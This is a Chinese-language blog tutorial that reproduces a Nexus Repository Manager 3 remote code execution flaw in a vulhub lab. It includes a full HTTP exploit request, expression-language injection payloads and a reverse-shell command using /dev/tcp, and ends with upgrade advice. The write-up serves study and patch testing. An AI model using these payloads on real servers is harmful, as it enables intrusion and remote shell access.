溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

如何進行Nexus Repository Manager 3遠程命令執(zhí)行漏洞的復現(xiàn)

發(fā)布時間:2021-12-29 17:49:53 來源:億速云 閱讀:157 作者:柒染 欄目:安全技術(shù)

本篇文章給大家分享的是有關(guān)如何進行Nexus Repository Manager 3遠程命令執(zhí)行漏洞的復現(xiàn),小編覺得挺實用的,因此分享給大家學習,希望大家閱讀完這篇文章后可以有所收獲,話不多說,跟著小編一起來看看吧。

0x00簡介

nexus的全稱是Nexus Repository Manager,是Sonatype公司的一個產(chǎn)品。它是一個強大的倉庫管理器,極大地簡化了內(nèi)部倉庫的維護和外部倉庫的訪問。

主要用它來搭建公司內(nèi)部的maven私服。但是它的功能不僅僅是創(chuàng)建maven私有倉庫這么簡單,還可以作為nuget、docker、npm、bower、pypi、rubygems、git lfs、yum、go、apt等的私有倉庫,功能非常強大。

0x01漏洞概述

在 Nexus Repository Manager OSS/Pro 3.21.1 及之前的版本中,由于某處功能安全處理不當,導致經(jīng)過授權(quán)認證的攻擊者,可以在遠程通過構(gòu)造惡意的 HTTP 請求,在服務(wù)端執(zhí)行任意惡意代碼,獲取系統(tǒng)權(quán)限。此漏洞的利用需要攻擊者具備任意類型的賬號權(quán)限

0x02影響版本

Nexus Repository Manager OSS/Pro 3.x <= 3.21.1

0x03環(huán)境搭建

1、本次漏洞環(huán)境使用vulhub搭建,在有docker環(huán)境的虛擬機中下載

git clone https://github.com/vulhub/vulhub.git

2、進入漏洞目錄,執(zhí)行docker-compose up -d 命令拉取漏洞環(huán)境

如何進行Nexus Repository Manager 3遠程命令執(zhí)行漏洞的復現(xiàn)

3、看到綠色的done表示拉取成功,在瀏覽器訪問http://your-ip:8081查看頁面

如何進行Nexus Repository Manager 3遠程命令執(zhí)行漏洞的復現(xiàn)

0x04漏洞復現(xiàn)

1、首先使用賬號密碼admin/admin登錄后臺

如何進行Nexus Repository Manager 3遠程命令執(zhí)行漏洞的復現(xiàn)

2、登錄后使用f12找到cookie復制當前的csrf-Token

如何進行Nexus Repository Manager 3遠程命令執(zhí)行漏洞的復現(xiàn)

3、使用burp進行抓包,替換以下數(shù)據(jù)包,然后把自己的cookie和csrf-Token粘貼上去,然后發(fā)包即可看到執(zhí)行了9*9

POST /service/rest/beta/repositories/go/group HTTP/1.1

Host: 172.16.1.147:8081

Content-Length: 203

X-Requested-With: XMLHttpRequest

X-Nexus-UI: true

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0

NX-ANTI-CSRF-TOKEN: 0.16290768329434402

Content-Type: application/json

Accept: */*

Origin: http://172.16.1.147:8081

Referer: http://172.16.1.147:8081/

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: NX-ANTI-CSRF-TOKEN=0.16290768329434402; NXSESSIONID=69d8dc11-45ac-44b6-aa68-65ca1d6b68ff

Connection: close




{

"name": "internal",

"online": true,

"storage": {

"blobStoreName": "default",

"strictContentTypeValidation": true

},

"group": {

"memberNames": ["$\\A{9*9}"]

}

}

如何進行Nexus Repository Manager 3遠程命令執(zhí)行漏洞的復現(xiàn)

4、把執(zhí)行9*9修改為創(chuàng)建一個文件,進入docker中查看創(chuàng)建成功

$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/success')}

如何進行Nexus Repository Manager 3遠程命令執(zhí)行漏洞的復現(xiàn)

如何進行Nexus Repository Manager 3遠程命令執(zhí)行漏洞的復現(xiàn)

5、執(zhí)行反彈shell把執(zhí)行寫入文件的payload修改成反彈shell的命令,使用nc進行監(jiān)聽,點擊發(fā)送查看nc的監(jiān)聽看到返回了shell

"$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('/bin/bash -c bash$IFS$9-i>&/dev/tcp/ip/port<&1')}"

如何進行Nexus Repository Manager 3遠程命令執(zhí)行漏洞的復現(xiàn)

如何進行Nexus Repository Manager 3遠程命令執(zhí)行漏洞的復現(xiàn)

0x05修復建議

1、官方已發(fā)布新版本修復了該漏洞,建議升級至最新版本

以上就是如何進行Nexus Repository Manager 3遠程命令執(zhí)行漏洞的復現(xiàn),小編相信有部分知識點可能是我們?nèi)粘9ぷ鲿姷交蛴玫降?。希望你能通過這篇文章學到更多知識。更多詳情敬請關(guān)注億速云行業(yè)資訊頻道。

向AI問一下細節(jié)

免責聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI